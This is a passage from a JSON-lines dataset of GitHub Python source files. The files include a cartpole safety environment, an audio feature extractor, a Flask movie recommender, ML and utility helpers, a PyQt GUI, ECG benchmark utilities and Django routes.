{'constraint_costs': constraint_costs}\n\n\n\n def reset(self):\n self.state = self.np_random.uniform(low=-0.05, high=0.05, size=(4,))\n self.state[2] += math.pi\n self.steps_beyond_done = None\n return np.array(self.state)\n\n def render(self, mode='human'):\n screen_width = 600\n screen_height = 400\n\n world_width = self.x_threshold*2\n scale = screen_width/world_width\n carty = 100 # TOP OF CART\n polewidth = 10.0\n polelen = scale * (2 * self.length)\n cartwidth = 50.0\n cartheight = 30.0\n\n if self.viewer is None:\n from gym.envs.classic_control import rendering\n self.viewer = rendering.Viewer(screen_width, screen_height)\n l,r,t,b = -cartwidth/2, cartwidth/2, cartheight/2, -cartheight/2\n axleoffset =cartheight/4.0\n cart = rendering.FilledPolygon([(l,b), (l,t), (r,t), (r,b)])\n self.carttrans = rendering.Transform()\n cart.add_attr(self.carttrans)\n self.viewer.add_geom(cart)\n l,r,t,b = -polewidth/2,polewidth/2,polelen-polewidth/2,-polewidth/2\n pole = rendering.FilledPolygon([(l,b), (l,t), (r,t), (r,b)])\n pole.set_color(.8,.6,.4)\n self.poletrans = rendering.Transform(translation=(0, axleoffset))\n pole.add_attr(self.poletrans)\n pole.add_attr(self.carttrans)\n self.viewer.add_geom(pole)\n self.axle = rendering.make_circle(polewidth/2)\n self.axle.add_attr(self.poletrans)\n self.axle.add_attr(self.carttrans)\n self.axle.set_color(.5,.5,.8)\n self.viewer.add_geom(self.axle)\n self.track = rendering.Line((0,carty), (screen_width,carty))\n self.track.set_color(0,0,0)\n self.viewer.add_geom(self.track)\n\n self.constr_line_l = rendering.Line((-self.x_constraint*scale + screen_width/2., carty-100), \n (-self.x_constraint*scale + screen_width/2., carty+1000))\n self.constr_line_l.set_color(1,0,0)\n self.viewer.add_geom(self.constr_line_l)\n self.constr_line_r = rendering.Line((self.x_constraint*scale + screen_width/2., carty-100), \n (self.x_constraint*scale + screen_width/2., carty+1000))\n self.constr_line_r.set_color(1,0,0)\n self.viewer.add_geom(self.constr_line_r)\n\n\n self._pole_geom = pole\n\n if self.state is None: return None\n\n # Edit the pole polygon vertex\n pole = self._pole_geom\n l,r,t,b = -polewidth/2,polewidth/2,polelen-polewidth/2,-polewidth/2\n pole.v = [(l,b), (l,t), (r,t), (r,b)]\n\n x = self.state\n cartx = x[0]*scale+screen_width/2.0 # MIDDLE OF CART\n self.carttrans.set_translation(cartx, carty)\n self.poletrans.set_rotation(-x[2])\n\n return self.viewer.render(return_rgb_array = mode=='rgb_array')\n\n def close(self):\n if self.viewer:\n self.viewer.close()\n self.viewer = None\n","repo_name":"jemaw/gym-safety","sub_path":"gym_safety/envs/cartsafe.py","file_name":"cartsafe.py","file_ext":"py","file_size_in_byte":9916,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"}
+{"seq_id":"42341133943","text":"from coremltools.models import MLModel\nimport mxnet as mx\nfrom mxnet.gluon import nn, utils\n\nfrom .._internal_utils import _mac_ver\nfrom .. import _mxnet_utils\nfrom .._pre_trained_models import VGGish\n\n\nVGGish_instance = None\ndef _get_feature_extractor(model_name):\n global VGGish_instance\n assert model_name == 'VGGish'\n if VGGish_instance is None:\n VGGish_instance = VGGishFeatureExtractor()\n return VGGish_instance\n\nclass Flatten_channel_last(nn.HybridBlock):\n def __init__(self, **kwargs):\n super(Flatten_channel_last, self).__init__(**kwargs)\n\n def hybrid_forward(self, F, x):\n x = mx.ndarray.swapaxes(x, 1, 2)\n x = mx.ndarray.swapaxes(x, 2, 3)\n return x.flatten()\n\n def __repr__(self):\n return self.__class__.__name__\n\n\nclass VGGishFeatureExtractor(object):\n output_length = 12288\n\n @staticmethod\n def preprocess_data(audio_data, labels):\n '''\n Preprocess each example, breaking it up into frames.\n\n Returns two numpy arrays: preprocessed frame and their labels.\n '''\n from .vggish_input import waveform_to_examples\n import numpy as np\n\n # Can't run as a \".apply(...)\" due to numba.jit decorator issue:\n # https://github.com/apple/turicreate/issues/1216\n preprocessed_data, output_labels = [], []\n for i, audio_dict in enumerate(audio_data):\n scaled_data = audio_dict['data'] / 32768.0\n data = waveform_to_examples(scaled_data, audio_dict['sample_rate'])\n\n for j in data:\n preprocessed_data.append([j])\n output_labels.append(labels[i])\n\n return np.asarray(preprocessed_data), np.asarray(output_labels)\n\n @staticmethod\n def _build_net():\n net = nn.HybridSequential()\n net.add(nn.Conv2D(channels=64, kernel_size=(3, 3), in_channels=1, padding=(1, 1), prefix='vggish_conv0_'))\n net.add(nn.Activation('relu'))\n net.add(nn.MaxPool2D())\n net.add(nn.Conv2D(channels=128, kernel_size=(3, 3), in_channels=64, padding=(1, 1), prefix='vggish_conv1_'))\n net.add(nn.Activation('relu'))\n net.add(nn.MaxPool2D())\n net.add(nn.Conv2D(channels=256, kernel_size=(3, 3), in_channels=128, padding=(1, 1), prefix='vggish_conv2_'))\n net.add(nn.Activation('relu'))\n net.add(nn.Conv2D(channels=256, kernel_size=(3, 3), in_channels=256, padding=(1, 1), prefix='vggish_conv3_'))\n net.add(nn.Activation('relu'))\n net.add(nn.MaxPool2D())\n net.add(nn.Conv2D(channels=512, kernel_size=(3, 3), in_channels=256, padding=(1, 1), prefix='vggish_conv4_'))\n net.add(nn.Activation('relu'))\n net.add(nn.Conv2D(channels=512, kernel_size=(3, 3), in_channels=512, padding=(1, 1), prefix='vggish_conv5_'))\n net.add(nn.Activation('relu'))\n net.add(nn.MaxPool2D())\n net.add(Flatten_channel_last())\n return net\n\n def __init__(self):\n vggish_model_file = VGGish()\n\n if _mac_ver() < (10, 13):\n # Use MXNet\n model_path = vggish_model_file.get_model_path(format='mxnet')\n self.vggish_model = VGGishFeatureExtractor._build_net()\n net_params = self.vggish_model.collect_params()\n self.ctx = _mxnet_utils.get_mxnet_context()\n net_params.load(model_path, ctx=self.ctx)\n else:\n # Use Core ML\n model_path = vggish_model_file.get_model_path(format='coreml')\n self.vggish_model = MLModel(model_path)\n\n def extract_features(self, preprocessed_data):\n \"\"\"\n Parameters\n ----------\n preprocessed_data : SArray\n\n Returns\n -------\n numpy array containing the deep features\n \"\"\"\n import numpy as np\n\n if _mac_ver() < (10, 13):\n # Use MXNet\n preprocessed_data = mx.nd.array(preprocessed_data)\n\n ctx_list = self.ctx\n if len(preprocessed_data) < len(ctx_list):\n ctx_list = ctx_list[:len(preprocessed_data)]\n batches = utils.split_and_load(preprocessed_data, ctx_list=ctx_list, even_split=False)\n\n deep_features = []\n for cur_batch in batches:\n y = self.vggish_model.forward(cur_batch).asnumpy()\n for i in y:\n deep_features.append(i)\n\n else:\n # Use Core ML\n deep_features = []\n for i, cur_example in enumerate(preprocessed_data):\n for cur_frame in cur_example:\n x = {'input1': [cur_frame]}\n y = self.vggish_model.predict(x)\n deep_features.append(y['output1'])\n\n return np.asarray(deep_features)\n\n def get_spec(self):\n \"\"\"\n Return the Core ML spec\n \"\"\"\n if _mac_ver() >= (10, 13):\n return self.vggish_model.get_spec()\n else:\n vggish_model_file = VGGish()\n coreml_model_path = vggish_model_file.get_model_path(format='coreml')\n return MLModel(coreml_model_path).get_spec()\n","repo_name":"romulocorrea/turicreate","sub_path":"src/unity/python/turicreate/toolkits/sound_classifier/_audio_feature_extractor.py","file_name":"_audio_feature_extractor.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"12971689730","text":"#para definir o interpertador como python 3 \"#! python\"\n#para definir o interpertador como python2.7 nesse sistema \"#! python2\"\n\nimport csv\nimport pandas as pd\nimport time\n\nfrom datetime import date, timedelta\ntoday = date.today()\ndiaUsado = today.strftime('%Y%m%d')\nprint(diaUsado)\nprint(\"logs_\"+diaUsado)\ndiaInt = int(diaUsado)\ndiaLa = str(diaInt)\nprint(diaLa)\n\nwith open(\"logs_\"+diaLa+ \".csv\", 'r', encoding='utf-8') as logs:\n ler = pd.read_csv(logs)\n ler[\"junto\"] = ler[\"NomeCompleto\"] + \",\" + ler[\"ContextoEvento\"]\n ler[\"junto\"].to_csv(r\"concat.csv\", header=[\"NomeCompleto\"])\n\ndata = pd.read_csv(\"concat.csv\")\nduplicador = data.pivot_table(index=[\"NomeCompleto\"], aggfunc = \"size\")\nduplicador.to_csv(r\"logsCalculado\"+diaLa+\".csv\", header=[\"ContextoEvento,Quantidade\"], sep = \",\", quotechar = \" \")\n\ntime.sleep(3)\n\nimport shutil\n\n\n\n","repo_name":"AugustoBaden/tcc-scripts","sub_path":"gamefication-tcc/contadorpy.py","file_name":"contadorpy.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"9195612948","text":"from flask import Flask, redirect, url_for\nfrom flask import request, jsonify\nfrom collections import defaultdict\nfrom surprise import Dataset, Reader\nimport pandas as pd\nimport os\n\ndef load_model(model_filename):\n print (\">> Loading dump\")\n from surprise import dump\n import os\n file_name = os.path.expanduser(model_filename)\n _, loaded_model = dump.load(file_name)\n print (\">> Loaded dump\")\n return loaded_model\n\napp = Flask(__name__)\nmodel_filename = \"./model/model.pickle\"\nratings_path = './data/ratings.csv'\nmovies_path = './data/movies.csv'\n\ndef get_top_n(predictions, n=10):\n top_n = defaultdict(list)\n for uid, mid, true_r, est, _ in predictions:\n top_n[uid].append((mid, est))\n for uid, user_ratings in top_n.items():\n user_ratings.sort(key=lambda x: x[1], reverse=True)\n top_n[uid] = user_ratings[:n]\n return top_n\n\ndef calculate_top_rate_movies():\n average_ratings = pd.DataFrame(ratings_df.groupby('movieId')['rating'].mean())\n average_ratings['Total Ratings'] = pd.DataFrame(ratings_df.groupby('movieId')['rating'].count())\n average_ratings = average_ratings[average_ratings['Total Ratings']>100].sort_values('rating',ascending=False).reset_index()\n global top_rate_movies\n movie_ids = average_ratings['movieId'].tolist()\n top_rate_movies = list(map(lambda x: {\"id\": str(x)}, movie_ids))\n \n \n@app.route('/')\ndef hello():\n return \"Hello, World!
\"\n\n@app.before_first_request\ndef before_first_request_func():\n print(\"This function will run once\")\n global top_n\n global ratings_df\n global movies_df\n print(movies_path) \n movies_df = pd.read_csv(movies_path)\n ratings_df = pd.read_csv(ratings_path)\n ratings_df = ratings_df.dropna()\n ratings_df['userId'] = ratings_df['userId'].astype('int64')\n ratings_df['movieId'] = ratings_df['movieId'].astype('int64')\n reader = Reader(rating_scale=(0.5, 5))\n data = Dataset.load_from_df(ratings_df[['userId','movieId','rating']], reader)\n trainset = data.build_full_trainset()\n print(\"Data Done\")\n loaded_model = load_model(model_filename)\n print(\"Model done\")\n predictions = loaded_model.test(trainset.build_anti_testset())\n print(\"predictions Done\")\n top_n = get_top_n(predictions, n=10)\n calculate_top_rate_movies()\n print(\"Done\")\n \n@app.route('/recommendations', methods=['GET'])\ndef recommendations():\n print(\"recommendations\")\n userId = int(request.args['user_id'])\n returnMetadata = request.args.get('returnMetadata', False, type=bool)\n print(returnMetadata)\n print(\"request received!\")\n print(userId)\n movie_ids = list(map(lambda x: {\"id\": str(x[0])}, top_n[userId]))\n if len(movie_ids) == 0:\n print(len(movie_ids))\n movie_ids = top_rate_movies[:10]\n \n if returnMetadata:\n movies_detail = list(map(lambda x: movie_detail_by_id(int(x[\"id\"])), movie_ids))\n data = {'items': movies_detail}\n print(data)\n return jsonify(data)\n else:\n data = {'items': movie_ids}\n print(data)\n return jsonify(data)\n\n@app.route('/features', methods=['GET'])\ndef features():\n userId = int(request.args['user_id'])\n histories = get_feature_by_user_id(userId)\n data = {\"features\": [{\"histories\": histories}]}\n return jsonify(data)\n\ndef movie_detail_by_id(id):\n movie = movies_df[movies_df['movieId'] == id].iloc[0]\n detail = {\"id\": str(id), \n \"title\": movie['title'], \n \"genres\": movie['genres'].split(\"|\")}\n return detail\n\ndef get_feature_by_user_id(id):\n movies = ratings_df[ratings_df['userId'] == id]['movieId'].astype('str').tolist()\n return movies\n\nif __name__ == \"__main__\":\n port = int(os.environ.get('PORT', 5000))\n app.run(debug=True, host='0.0.0.0', port=port)","repo_name":"suraphanL/Recommendation","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39384304832","text":"from sklearn.ensemble import RandomForestClassifier\nfrom sklearn.exceptions import NotFittedError\nfrom sklearn.metrics import confusion_matrix, roc_curve, roc_auc_score\nfrom sklearn.utils.validation import check_is_fitted\nimport pandas as pd\n\nfrom model.temporary.testing_k_folds import get_model_pipeline, TrainTestSplitWrapper\nimport model.temporary.testing_k_folds as tk\nimport model.model_setup as ms\n\n\nclass ModelWrapper:\n \"\"\"\n A model wrapper used to automate running multiple models\n\n\n Parameters\n ---------\n\n model:\n \"\"\"\n\n def __init__(self, model,\n parameters: dict,\n train_test_wrapper,\n short_name=\"\",\n cv=5):\n self.model_name = model.__class__.__name__\n\n # model will soon become a grid search object,\n # so get the model_name while you can\n self.model = model\n self.parameters = parameters\n self.train_test_wrapper = train_test_wrapper\n self.parameters = parameters\n self.column_names = []\n self.short_name = short_name\n self.X_test = []\n\n self.results = dict(matrix=None,\n mean_cv_score=None,\n accuracy=None,\n total_incorrect=None,\n y_pred_prob=None,\n y_test=None) # used for roc/auc\n\n pass\n\n def predict(self, X_test):\n if self.is_fit() is False:\n raise NotFittedError()\n else:\n return self.model.predict(X_test)\n\n def use_grid(self, X_train, y_train, random_search, max_iter):\n return tk.grid_search_scores(self.model,\n self.parameters,\n X_train,\n y_train,\n random_search=random_search)\n\n def fit(self, random_search=False, max_iter=500, refit=True):\n \"\"\"\n\n :param random_search: whether to perform a grid search or a random gird search\n :param max_iter: number of iterations to perform if grid search is random\n :param refit: change the instance model to the newly fitted model\n :return:\n \"\"\"\n with self.train_test_wrapper as splits:\n X_train, X_test, y_train, y_test = splits\n # fit to X_train so X_test has the correct number of columns\n\n print(type(X_train))\n\n X_train = pd.get_dummies(X_train)\n X_test = pd.get_dummies(X_test)\n\n # get_dummies creates new columns\n self.column_names = X_train.columns.values\n self.X_test = X_test\n\n model_pipeline = self.use_grid(X_train, y_train,\n random_search, max_iter)\n\n model_pipeline.fit(X_train, y_train)\n\n predictions = model_pipeline.predict(X_test)\n\n matrix = confusion_matrix(y_test, predictions)\n self.results[\"matrix\"] = matrix\n self.results[\"total_incorrect\"] = matrix[0][1] + matrix[1][0]\n\n self.results[\"accuracy\"] = \\\n ((y_test.shape[0] - self.results[\"total_incorrect\"]) / y_test.shape[0])\n\n # ROC/AUC Preliminary Variables\n self.results[\"y_test\"] = y_test\n self.results[\"y_pred_prob\"] = model_pipeline.best_estimator_['model'].predict_proba(X_test)[:, 1]\n\n # model becomes a grid search object.\n # this is important because it acts as a wrapper for the classifier itself\n self.model = model_pipeline\n\n return model_pipeline, X_test, y_test\n\n def get_roc_curve(self):\n # arguments\n y_test_probs = (self.results[\"y_test\"], self.results[\"y_pred_prob\"])\n\n fpr, tpr, thresholds = roc_curve(*y_test_probs)\n auc = roc_auc_score(*y_test_probs)\n\n print(\"\\nAUC of %s: %.3f\" % (self.model_name, auc), end='\\n')\n\n return fpr, tpr\n\n def get_fit_model(self):\n if self.fitted_model is None:\n raise ValueError(\"%s has not been fitted yet.\" % self.model_name)\n else:\n return self.fitted_model\n\n def get_feature_importance(self):\n pass\n\n def get_name(self):\n if len(self.short_name) == 0:\n return self.short_name\n else:\n return self.model_name\n\n def __str__(self):\n if self.is_fit() is False:\n return \"This is a %s instance. It has not been fitted yet.\" % self.model_name\n else:\n pass\n\n def is_fit(self):\n try:\n check_is_fitted(self.model)\n except NotFittedError as e:\n print(repr(e))\n\n return False\n\n return True\n\n\ndef get_model_wrapper_list(models, X_test, y_test, random_state=1, test_size=0.2):\n model_wrapper_list = []\n\n for i in models:\n # TODO:\n # messy but easy hack of doing things\n # will fix if need be\n if isinstance(i, tuple) and len(i) < 2:\n raise ValueError(\"tuple should be of length 2\")\n\n model_wrapper_list.append(ModelWrapper(i[0],\n dict(),\n tk.TrainTestSplitWrapper(X_test,\n y_test,\n test_size=test_size,\n random_state=random_state),\n short_name=i[1]))\n return model_wrapper_list\n\n################################################################################################\n#\n# student_data = ms.get_student_data('../data/data.csv', bin=False)\n# features = [\"A8\", \"Has_504\", \"Student on Free or Reduced Lunch\", \"IEP/Specialized\"]\n#\n# train_wrapper_args = (student_data[features],\n# student_data['ChronicallyAbsent_in_HS'])\n# test_size = 0.3\n# random_state = 1\n#\n# # TrainTestSplitWrapper will always yield the same results (splits of the data)\n# # if the random state is equal to one.\n#\n# random_forest = ModelWrapper(RandomForestClassifier(random_state=1),\n# dict(),\n# tk.TrainTestSplitWrapper(student_data[features],\n# student_data['ChronicallyAbsent_in_HS'],\n# test_size=test_size,\n# random_state=random_state))\n#\n# random_forest.fit()\n# print(type(random_forest))\n# print(type(random_forest.model))\n\n#HYPERPAREMTER TUNING RANDOM FOREST\n","repo_name":"kevinmonisit/Research","sub_path":"model/multi_models.py","file_name":"multi_models.py","file_ext":"py","file_size_in_byte":6744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13506262628","text":"import re\nimport csv\nimport importlib\nfrom typing import Any, List\n\n\ndef unique(lst: List[Any]) -> List[Any]:\n \"\"\"uniquify list while preserving order\"\"\"\n # compatible with Python 3.6 ???\n # seen = set()\n # return [x for x in lst if x not in seen and not seen.add(x)]\n return list(dict.fromkeys(lst))\n\ndef camelcase_to_snakecase(name: str) -> str:\n name = re.sub('(.)([A-Z][a-z]+)', r'\\1_\\2', name)\n return re.sub('([a-z0-9])([A-Z])', r'\\1_\\2', name).lower()\n\n\ndef snakecase_to_camelcase(name: str) -> str:\n return ''.join(word.title() for word in name.split('_'))\n\n\ndef load_class(full_class_string: str, defualt_module_name=None) -> type:\n cls_path_lst = full_class_string.split(\".\")\n assert len(cls_path_lst) > 0\n\n cls_name = snakecase_to_camelcase(cls_path_lst[-1])\n if len(cls_path_lst) == 1: # module name not specified, use default\n mod_name = defualt_module_name\n else:\n mod_name = \".\".join(cls_path_lst[:-1])\n assert mod_name\n \n module = importlib.import_module(mod_name, __package__ if mod_name.startswith('.') else None )\n return getattr(module, cls_name)\n\n\ndef dict_merge(base_dct, merge_dct, add_keys=True):\n rtn_dct = base_dct.copy()\n if add_keys is False:\n merge_dct = {key: merge_dct[key] for key in set(rtn_dct).intersection(set(merge_dct))}\n\n rtn_dct.update({\n key: dict_merge(rtn_dct[key], merge_dct[key], add_keys=add_keys)\n if isinstance(rtn_dct.get(key), dict) and isinstance(merge_dct[key], dict)\n else merge_dct[key]\n for key in merge_dct.keys()\n })\n return rtn_dct\n\n\ndef try_convert(s, convert_lists=False, to_str=True):\n if s is None:\n return 'None'\n if isinstance(s, str): # always?\n if s.startswith('\"') or s.startswith('\\''):\n return s.strip('\"\\'')\n if convert_lists and s.startswith('[') and s.endswith(']'):\n s = re.sub(r'\\s+', '', s)\n return [try_convert(e) for e in s.strip('][').split(',')]\n # Should NOT convert dict, set, etc!\n\n try:\n return int(s)\n except Exception:\n try:\n return float(s)\n except Exception:\n s1 = str(s)\n if s1.lower in ['true', 'yes']:\n return True\n if s1.lower in ['false', 'no']:\n return False\n return s1 if to_str else s\n\n\ndef parse_csv(path, id_field, field_parser=(lambda x: x), id_parser=(lambda x: x), interesting_fields=None):\n data = {}\n\n with open(path, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n for row in reader:\n if not interesting_fields:\n interesting_fields = row.keys()\n id = id_parser(row[id_field])\n data[id] = {k: field_parser(row[k]) for k in interesting_fields}\n return data\n","repo_name":"kammoh/xeda","sub_path":"xeda/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"4657012775","text":"import os\nimport sys\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtGui import QFont, QPainter, QBrush\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QLineEdit, QPushButton, QCheckBox, QFileDialog\n\nfrom config import Config\nfrom file_processor import FileProcessor\n\n#╭─────────────────────────────────────────────╮\n#│ │ GUI CODE │ │\n#╰─────────────────────────────────────────────╯\n\nclass ProgeatApp(QWidget):\n \"\"\"\n Main app class, handles UI processing\n \"\"\"\n def __init__(self):\n super().__init__()\n \n self.config = config\n self.file_processor = file_processor\n\n # Set the window title\n self.setWindowTitle('Progeat-v2.0')\n # Set the window geometry\n self.setGeometry(300, 300, 600, 500)\n \n #create fonts\n labelFont = QFont()\n labelFont.setBold(True)\n titleFont = QFont()\n titleFont.setPointSize(18)\n # Title Label\n titleLabel = QLabel('Progeat v2.0', self)\n titleLabel.setFont(titleFont)\n titleLabel.move(200, 40)\n # Filepath label + field\n pathLabel = QLabel('Filepath:', self)\n pathLabel.move(10, 183)\n pathLabel.setFont(labelFont)\n self.pathField = QLineEdit(self)\n self.pathField.move(180, 180)\n self.pathField.setFixedWidth(400)\n # Filename label + field\n nameLabel = QLabel('Override filename:', self)\n nameLabel.move(10, 223)\n nameLabel.setFont(labelFont)\n self.nameField = QLineEdit(self)\n self.nameField.move(180, 220)\n self.nameField.setFixedWidth(400)\n # Override label + field\n overrideLabel = QLabel('Override [0 1]:', self)\n overrideLabel.move(10, 263)\n overrideLabel.setFont(labelFont)\n self.overrideField = QLineEdit(self)\n self.overrideField.setText(\"0 1\")\n self.overrideField.move(180, 260)\n self.overrideField.setFixedWidth(400)\n # Avogadro checkbox\n self.cb = QCheckBox('Use Avogadro?', self)\n self.cb.move(10, 300)\n self.cb.stateChanged.connect(self.changeTitle)\n # Create a button widget\n button = QPushButton('RUN', self)\n button.move(10, 340)\n button.setFixedSize(580, 60)\n button.setFont(labelFont)\n button.clicked.connect(self.on_button_click)\n # Done Label\n self.doneLabel = QLabel('...', self)\n self.doneLabel.setFont(titleFont)\n self.doneLabel.setFixedWidth(400)\n self.doneLabel.move(40, 410)\n\n def on_button_click(self):\n \"\"\"\n Handles user clicking on run button\n \"\"\"\n path = self.pathField.text()\n if not path:\n dialog = QFileDialog()\n dialog.setFileMode(QFileDialog.Directory) # Change file mode to Directory\n dialog.setOption(QFileDialog.DontUseNativeDialog, True)\n if dialog.exec_():\n path = dialog.selectedFiles()[0]\n else: \n return\n self.pathField.setText(path)\n filename = self.nameField.text() if self.nameField.text() else None\n\n # Iterate over all files in the directory\n for file in os.listdir(path):\n file_path = os.path.join(path, file)\n # Check if the file has a .cml extension\n if file.endswith('.cml'):\n self.file_processor.processFile(file_path, self.overrideField.text(), filename)\n self.doneLabel.setText(\"F|{0}|Complete\".format(os.path.basename(file_path)))\n\n \n def changeTitle(self, state):\n \"\"\"\n Handles user interacting with checkbox\n \"\"\"\n self.config.set('use_avogadro', state == Qt.Checked)\n \n def paintEvent(self, event):\n \"\"\"\n Draws graphic symbol\n \"\"\"\n qp = QPainter()\n qp.begin(self)\n qp.setBrush(QBrush(Qt.yellow, Qt.SolidPattern))\n qp.drawPie(10, 10, 140, 140, 45 * 16, 270 * 16)\n qp.end()\n\nif __name__ == '__main__':\n config = Config('config.json')\n file_processor = FileProcessor(config)\n # Create a new application object\n app = QApplication(sys.argv)\n # Create a new window object\n window = ProgeatApp()\n if config.get('use_avogadro'):\n window.cb.toggle()\n # Show the window\n window.show()\n # Run the event loop\n sys.exit(app.exec_())\n","repo_name":"Liraal2/progeat-v2","sub_path":"progeat-v2.0.py","file_name":"progeat-v2.0.py","file_ext":"py","file_size_in_byte":4596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23788241597","text":"# © SleepECG developers\n#\n# License: BSD (3-clause)\n\n\"\"\"Utilities for runtime and detection quality benchmarks.\"\"\"\n\nfrom __future__ import annotations\n\nimport time\nfrom typing import Any, Iterator\n\nimport numpy as np\n\nimport sleepecg\nfrom sleepecg.io.ecg_readers import ECGRecord\n\n\nclass HeartpyWarning(Warning):\n \"\"\"Warning for all Heartpy-related warnings.\"\"\"\n\n pass\n\n\ndef reader_dispatch(db_slug: str, data_dir: str) -> Iterator[ECGRecord]:\n \"\"\"\n Read ECG records from mitdb, ltdb or gudb.\n\n Parameters\n ----------\n db_slug : str\n Short identifier of a dataset, e.g. `'mitdb'`.\n data_dir : str\n Directory where all datasets are stored.\n\n Yields\n ------\n ECGRecord\n Each element in the generator is of type `ECGRecord` and contains the ECG signal\n (`.ecg`), sampling frequency (`.fs`), annotated beat indices (`.annotations`),\n `.lead`, and `.id`.\n \"\"\"\n readers = {\n \"gudb\": sleepecg.read_gudb,\n \"ltdb\": sleepecg.read_ltdb,\n \"mitdb\": sleepecg.read_mitdb,\n }\n if db_slug not in readers:\n raise ValueError(f\"Invalid db_slug: {db_slug}\")\n yield from readers[db_slug](data_dir=data_dir)\n\n\ndef detector_dispatch(ecg: np.ndarray, fs: float, detector: str) -> np.ndarray:\n \"\"\"\n Provide a common interface for different heartbeat detectors.\n\n Parameters\n ----------\n ecg : np.ndarray\n ECG signal.\n fs : float\n Sampling frequency of the ECG signal in Hz.\n detector : str\n String identifier of the detector to be used.\n\n Returns\n -------\n np.ndarray\n Indices of detected heartbeats.\n \"\"\"\n if detector == \"mne\":\n import mne\n\n detection = mne.preprocessing.ecg.qrs_detector(fs, ecg, verbose=False)\n elif detector == \"wfdb-xqrs\":\n import wfdb.processing\n\n detection = wfdb.processing.xqrs_detect(ecg, fs, verbose=False)\n elif detector == \"pyecg-pantompkins\":\n import ecgdetectors\n\n detection = ecgdetectors.Detectors(fs).pan_tompkins_detector(ecg)\n elif detector == \"biosppy-hamilton\":\n import biosppy\n\n detection = biosppy.signals.ecg.hamilton_segmenter(ecg, fs)[0]\n elif detector == \"heartpy\":\n import heartpy\n from heartpy.exceptions import BadSignalWarning\n\n try:\n wd, _ = heartpy.process(ecg, fs)\n except BadSignalWarning:\n raise HeartpyWarning\n else:\n detection = np.array(wd[\"peaklist\"])[wd[\"binary_peaklist\"].astype(bool)]\n elif detector == \"neurokit2-nk\":\n import neurokit2\n\n clean_ecg = neurokit2.ecg.ecg_clean(ecg, int(fs), method=\"neurokit\")\n detection = neurokit2.ecg.ecg_findpeaks(clean_ecg, int(fs), method=\"neurokit\")[\n \"ECG_R_Peaks\"\n ]\n elif detector == \"neurokit2-kalidas2017\":\n import neurokit2\n\n clean_ecg = neurokit2.ecg.ecg_clean(ecg, int(fs), method=\"kalidas2017\")\n detection = neurokit2.ecg.ecg_findpeaks(clean_ecg, int(fs), method=\"kalidas2017\")[\n \"ECG_R_Peaks\"\n ]\n elif detector == \"sleepecg-c\":\n detection = sleepecg.detect_heartbeats(ecg, fs, backend=\"c\")\n elif detector == \"sleepecg-numba\":\n detection = sleepecg.detect_heartbeats(ecg, fs, backend=\"numba\")\n elif detector == \"sleepecg-python\":\n detection = sleepecg.detect_heartbeats(ecg, fs, backend=\"python\")\n else:\n raise ValueError(f\"Unknown QRS detector: {detector}\")\n return np.asarray(detection)\n\n\ndef evaluate_single(\n record: ECGRecord,\n detector: str,\n signal_len: int,\n max_distance: float,\n calc_rri_similarity: bool,\n) -> dict[str, Any]:\n \"\"\"\n Evaluate a heartbeat detector on a given annotated ECG record.\n\n Optionally, similarity measures between detected and annotated RR intervals can be\n calculated. As this requires interpolation, it may take some time for long signals.\n\n Parameters\n ----------\n record : ECGRecord\n As received from `reader_dispatch`.\n detector : str\n String identifier of the detector to be used.\n signal_len : int\n Length to which the signal should be sliced.\n max_distance : float\n Maximum temporal distance in seconds between detected and annotated beats to count\n as a successful detection.\n calc_rri_similarity : bool\n If `True`, calculate similarity measures between detected and annotated RR intervals\n (computationally expensive for long signals).\n\n Returns\n -------\n dict[str, Any]\n A dictionary containing evaluation results.\n \"\"\"\n signal_len_samples = int(signal_len * record.fs * 60)\n ecg = record.ecg[:signal_len_samples]\n annotation = record.annotation[record.annotation < signal_len_samples]\n fs = int(record.fs)\n\n try:\n start = time.perf_counter()\n detection = detector_dispatch(ecg, fs, detector)\n runtime = time.perf_counter() - start\n TP, FP, FN = sleepecg.compare_heartbeats(\n detection,\n annotation,\n int(max_distance * record.fs),\n )\n\n if calc_rri_similarity:\n pearsonr, spearmanr, rmse = sleepecg.rri_similarity(detection, annotation)\n\n except HeartpyWarning:\n runtime = np.nan\n TP = []\n FP = []\n FN = annotation\n\n if calc_rri_similarity:\n pearsonr = np.nan\n spearmanr = np.nan\n rmse = np.nan\n\n result = {\n \"record_id\": record.id,\n \"lead\": record.lead,\n \"fs\": record.fs,\n \"num_samples\": len(ecg),\n \"detector\": detector,\n \"max_distance\": max_distance,\n \"runtime\": runtime,\n \"TP\": len(TP),\n \"FP\": len(FP),\n \"FN\": len(FN),\n }\n if calc_rri_similarity:\n result.update(\n {\n \"pearsonr\": pearsonr,\n \"spearmanr\": spearmanr,\n \"rmse\": rmse,\n }\n )\n return result\n","repo_name":"cbrnr/sleepecg","sub_path":"examples/benchmark/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"53"}
+{"seq_id":"32482289324","text":"from django.urls import include, path\nfrom rest_framework import routers\nfrom api import views\n\nrouter = routers.DefaultRouter()\nrouter.register(r'games', views.GameViewSet)\n\nurlpatterns = [\n path('games/', views.GetGamesView.as_view()),\n path('api-rest/', include(router.urls)),\n path('api-auth/', include('rest_framework.urls', namespace='rest_framework'))\n]","repo_name":"rotembcohen/purradise","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
